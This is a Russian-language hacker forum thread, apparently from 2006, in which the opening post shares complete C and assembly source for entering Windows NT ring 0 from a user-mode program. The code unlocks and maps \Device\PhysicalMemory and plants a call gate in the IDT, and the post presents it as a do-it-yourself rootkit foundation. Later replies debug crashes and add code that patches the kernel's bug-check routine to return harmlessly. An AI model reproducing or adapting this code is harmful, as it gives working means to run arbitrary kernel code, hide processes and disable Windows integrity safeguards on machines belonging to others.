Итак, заморочался давеча и решил выложить такую няму, как прямой переход в режим ядра NT и вызов ядерных функций (твой руткит в твоем exe ). В данном случае для прорыва в ring0 используется методика калгейта. В примере мы сначала ловим адрес ntoskrnl из ring3 режима, затем переходим в ring0 и начинаем сканировать образ ntoskrnl на предмет экспортов. Из юзер мода эт кстати невозможно. Находим ExAllocatePoolWithTag и вызываем ее (память выделяет короче, и возвращает указатель на выделенный участок) после чего возвращаемся в ring3 и демонстрируем юзеру за счет MessageBox'a плод наших трудов. Сей пример мягко говоря намекает на то что такие фичи как скрытие процесса (что реализовалось при помощи драйверов) терь возможно и без них... ------------------------------- main.cpp ------------------------------- #include <windows.h> int __cdecl ring0_execute(LPVOID lpKernelProc); DWORD ring0_GetKernelBase(); DWORD g_KernBase; DWORD g_Address; DWORD g_Mem; PVOID R0_GetProcAddress(PCHAR pFunctionName) { PVOID pFunctionAddress = NULL; PVOID ModuleBase = (PVOID)g_KernBase; __try{ PIMAGE_DOS_HEADER dos =(PIMAGE_DOS_HEADER) ModuleBase; PIMAGE_NT_HEADERS nt =(PIMAGE_NT_HEADERS)((ULONG) ModuleBase + dos->e_lfanew); PIMAGE_DATA_DIRECTORY expdir = (PIMAGE_DATA_DIRECTORY) (nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT); ULONG size = expdir->Size; ULONG addr = expdir->VirtualAddress; PIMAGE_EXPORT_DIRECTORY exports =(PIMAGE_EXPORT_DIRECTORY)((ULONG) ModuleBase + addr); PULONG functions =(PULONG)((ULONG) ModuleBase + exports->AddressOfFunctions); PSHORT ordinals =(PSHORT)((ULONG) ModuleBase + exports->AddressOfNameOrdinals); PULONG names =(PULONG)((ULONG) ModuleBase + exports->AddressOfNames); ULONG max_name =exports->NumberOfNames; ULONG max_func =exports->NumberOfFunctions; ULONG i; for (i = 0; i < max_name; i++){ ULONG ord = ordinals; if(i >= max_name || ord >= max_func){ return NULL; } if (functions[ord] < addr || functions[ord] >= addr + size){ if (strcmp((PCHAR) ModuleBase + names, pFunctionName) == 0){ pFunctionAddress =(PVOID)((PCHAR) ModuleBase + functions[ord]); break; } } } } __except(EXCEPTION_EXECUTE_HANDLER){ pFunctionAddress = NULL; } return pFunctionAddress; } // // WARNING! This routine should be executed in KERNEL MODE ONLY // void R0_DISCOVER_AND_EXECUTE() { g_Address = (DWORD)R0_GetProcAddress("ExAllocatePoolWithTag"); __asm{ // вызываем ExAllocatePoolWithTag - выделяем 100байт памяти ядра push eax mov eax, g_Address push 0x12345678 push 0x64 push 0x1 call eax mov g_Mem, eax pop eax } } int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int) { char s_buff[256]; g_KernBase = ring0_GetKernelBase(); if(!g_KernBase){ MessageBox(0, "Couldn\'t discover kernel base address", "Error", MB_OK|MB_ICONWARNING); return 0; } ring0_execute(R0_DISCOVER_AND_EXECUTE); wsprintf(s_buff, "Execute complete. ExAllocatePoolWithTag address: 0x%.8X, allocated memory address: 0x%.8X", g_Address, g_Mem); MessageBox(0, s_buff, "Done", MB_OK|MB_ICONWARNING); return 0; } ------------------------- ring0.cpp (калгейт) ------------------------- /* * terazin-b by sn0w [at antichat dot ru] * (c) leaders of antichat team, 2006 * * greetz: zaco skvoznoy kez * */ /* * ring0.cpp - kernel mode code execution engine * */ #include <windows.h> #include <aclapi.h> #define INTNUMBER 0F0h #define SE_KERNEL_OBJECT 6 #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_KERNEL_HANDLE 0x00000200L #define INIT_UNICODE(_var,_buffer) \ UNICODE_STRING _var = { \ sizeof (_buffer) - sizeof (WORD), \ sizeof (_buffer), \ _buffer } #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef (__stdcall *_NtOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes); // // Kernel Mode Execution routine // // return values: 0 - failed to execute, 1 - execute success // NOTE: when a function fails you can attempt to recall it. // // WARNING! when you want to modify functional code you must // take your attention on automatic variables inside body. // default stack restore is /add esp, 60h/ // // int __cdecl ring0_execute(LPVOID lpKernelProc) { _NtOpenSection NtOpenSection = (_NtOpenSection)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtOpenSection"); OBJECT_ATTRIBUTES ObAttributes; EXPLICIT_ACCESS Access; HANDLE hSection; LPVOID pbMap; PACL OldDacl=NULL, NewDacl=NULL; PSECURITY_DESCRIPTOR SecDesc=NULL; INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory"); InitializeObjectAttributes(&ObAttributes,&ObString,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL); Access.grfAccessPermissions = SECTION_MAP_WRITE; Access.grfAccessMode = GRANT_ACCESS; Access.grfInheritance = NO_INHERITANCE; Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; Access.Trustee.pMultipleTrustee = NULL; Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME; Access.Trustee.TrusteeType = TRUSTEE_IS_USER; Access.Trustee.ptstrName = "CURRENT_USER"; if(NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&ObAttributes)==-1) goto hook_interrupt; NtOpenSection(&hSection,MEM_MAPPED|MEM_PRIVATE,&ObAttributes); GetSecurityInfo(hSection,(SE_OBJECT_TYPE)SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,&OldDacl,0,&SecDesc); SetEntriesInAcl(1, &Access, OldDacl, &NewDacl); SetSecurityInfo(hSection, (SE_OBJECT_TYPE)SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,NewDacl,NULL); CloseHandle(hSection); NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&ObAttributes); __asm { hook_interrupt: push eax sidt fword ptr [esp - 2] pop esi btr esi, 1fh push 1 push esi push 0 push SECTION_MAP_WRITE push hSection call dword ptr ds:MapViewOfFile cmp eax, 0 jnz map_ok push hSection call dword ptr ds:CloseHandle xor eax, eax add esp, 60h // stack restore ret map_ok: mov [pbMap], eax and esi, 0fffh lea esi, dword ptr [eax + esi + INTNUMBER * 8] fild qword ptr [esi] call skip_ring0 // begin ring 0 call lpKernelProc iretd // end ring 0 skip_ring0: pop word ptr [esi] mov byte ptr [esi + 2], 8 mov byte ptr [esi + 5], 0eeh pop word ptr [esi + 6] int INTNUMBER } UnmapViewOfFile(pbMap); CloseHandle(hSection); return 1; } // // some auxilary funcs // #define NTSTATUS LONG #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define DEF_KERNEL_BASE 0x80400000L #define SystemModuleInformation 11 typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION; DWORD ring0_GetKernelBase() { HANDLE hHeap = GetProcessHeap(); NTSTATUS Status; ULONG cbBuffer = 0x8000; PVOID pBuffer = NULL; DWORD retVal = DEF_KERNEL_BASE; HMODULE hntdll = GetModuleHandle("ntdll.dll"); NTSTATUS (WINAPI * _NtQuerySystemInformation)(UINT, PVOID, ULONG, PULONG); *(FARPROC *)&_NtQuerySystemInformation = GetProcAddress(hntdll, "ZwQuerySystemInformation"); do { pBuffer = HeapAlloc(hHeap, 0, cbBuffer); if (pBuffer == NULL) return DEF_KERNEL_BASE; Status = _NtQuerySystemInformation(SystemModuleInformation, pBuffer, cbBuffer, NULL); if(Status == STATUS_INFO_LENGTH_MISMATCH) { HeapFree(hHeap, 0, pBuffer); cbBuffer *= 2; } else if(Status != STATUS_SUCCESS) { HeapFree(hHeap, 0, pBuffer); return DEF_KERNEL_BASE; } } while (Status == STATUS_INFO_LENGTH_MISMATCH); DWORD numEntries = *((DWORD *)pBuffer); SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)((char *)pBuffer + sizeof(DWORD)); for(DWORD i = 0; i < numEntries; i++) { if(strcmpi(smi->ImageName, "ntoskrnl.exe")) { retVal = (DWORD)(smi->Base); break; } smi++; } HeapFree(hHeap, 0, pBuffer); return retVal; } --------------- усе. компилим вместе удачи на поприще))
Кстати на Windows2003 и Vist'е данный код работать не будет. т.к. там закрыли доступ к \\Device\\PhysicalMemory.
нихрена не подробно и вообще там пример галимый. я собирался написать такую хрень, но все никак не было времени разобраться с переходом в ring 0. sn0w, respect
Я доэкспериментировался ) Кстати, а обработка исключений не предусмотрена чтоли при использовании call gate'ов? Code: __try { __asm { xor eax,eax mov [eax],eax } } __except(EXCEPTION_EXECUTE_HANDLER) { } система уходит в полный даун, хотя по идее не должна
)))))))) как ни странно, первый ядерный код который запустил на калгейте был такой же))) потом правд всякую муть делал типа килл кмос итд)
2Proteus: прикинь чувак, Руссинович терь на мелкомягких хостится) В принципе иначе случиться и не могло)
на вмваре выскакивает driver_irql_not_less_or_equal интересно отчего. походу я там чето намутил, хотя... irql я не трогал
у меня сайса нету на вмваре, ставить влом+) но на реальном компе все работает. Правда, под вмварей пришлось слегка изменить код маппинга секции, потому что там косяк какой-то был). Я пропатчил, калгейт вызывается нормально, но, видимо, при вызове ExAllocateWithPoolTag слетает винда. Почему-то irql выше, чем надо. Надо бы разобраться, конечно.. а может просто впихнуть KeLowerIrql? +) Насколько я понял, у кода в режиме ядра с какого-то хрена стоит IRQL выше или равен DPC/Dispatch, на котором доступа только неподкачиваемая память, а ExAllocatePoolWithTag пытается выделить подкачиваемую память. Может просто снизить IRQL до APC или Passive?
Хм.. у тебя первый аргумент к ExAllocatePoolWithTag был равен 1 (подкачиваемый пул) - я сменил на 0 (неподкачиваемый пул) и все равно BSoD updated: Попытка вызова KeGetCurrentIrql закончилась BSoD'ом с багчеком 8E updated2: fuck #define KERNEL_MODE_EXCEPTION_NOT_HANDLED ((ULONG)0x0000008EL) updated3: поставил __try/__except, исключение перехватывается +) Однако все равно вылетает driver_irql_not_less_or_equal Видимо, что-то не то происходит не при выделении памяти... а наверное при возврате из прерывания
Вообщем-то итог расследования - в вмваре вылетает БСоД при вызове R0_GetProcAddress с bugcheck-кодом DRIVER_IRQL_NOT_LESS_OR_EQUAL Только я не секу, где в этой функции что-либо, что использует IRQL хоть как-нибудь.. там только арифметические операции по поиску экспорта ядра и функции в ней. Правда, там есть вызов strcmp... может в нем дело.. попробую переписать, чтобы не юзать сишний рантайм
>>2Proteus: прикинь чувак, Руссинович терь на мелкомягких хостится) В принципе иначе случиться и не могло) ога, была новость... продался )
уря, все работает =) повторил подвиг криса касперски и написал программулину, которая лочит KeBugCheck и KeBugCheckEx, просто делая ret. После явного вызова KeBugCheckEx процесс продолжает выполняться. При исключении поток виснет в ринг 0, но винда все равно продолжает относительно стабильно работать. Кому интересно - вот код. Программа при первом запуске ставит блокировку на KeBugCheckEx (записывает просто RET по адресу точки входа, хотя там слегка сложнее. KeBugCheckEx & KeBugCheck вызывают спец. внутреннюю функцию, которая и выполняет всю работу. Вот лок ставится именно на нее, чтобы вызовы и KeBugCheckEx и KeBugCheck и прямые вызовы этой функции шли лесом), при втором вызывает явно KeBugCheckEx и выводит в окошке результат: Code: int flag=-1; DWORD bugcheck=0; // // WARNING! This routine should be executed in KERNEL MODE ONLY // void R0_DISCOVER_AND_EXECUTE() { __try { bugcheck = (DWORD)R0_GetProcAddress("KeBugCheckEx"); g_Address = (bugcheck + 0x1B) + *(DWORD*) (bugcheck + 0x17); #define OPCODE 0x000018C2 // Is hook already set? if(*(DWORD*)g_Address == OPCODE) // yes, hook is already set { __asm { push 4 push 3 push 2 push 1 push 0x2e mov eax, bugcheck call eax } flag = 0; return; } // Hook is not set, set it now! *(DWORD*)g_Address = OPCODE; // RETN 18h flag = 1; } __except(EXCEPTION_EXECUTE_HANDLER) { flag = -1; } } int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int) { g_KernBase = ring0_GetKernelBase(); if(!g_KernBase) return MessageBox(0, "Couldn't discover kernel base address", "Error", MB_OK|MB_ICONWARNING); ring0_execute(R0_DISCOVER_AND_EXECUTE); switch(flag) { case -1: return MessageBox(0, "ring0 function failed because of exception", 0, MB_ICONERROR); case 1: return MessageBox(0, "Hook set successfully", "Done", MB_ICONINFORMATION); case 0: return MessageBox(0, "KeBugCheckEx call passed successfully!", "It works =)", MB_ICONINFORMATION); } return 0; } остальной код R0_GetProcAddress и код ring0.c взять у автора
Сегодня ковырял этот код и обнаружил, что запись из Idt потом не снимается ) То есть если после завершения программы запустить отдельно Int F0, то получим синий экран Page_fault_in_nonpaged_area, чего и следовало ожидать. Как снять из Idt запись, просто забить нулями?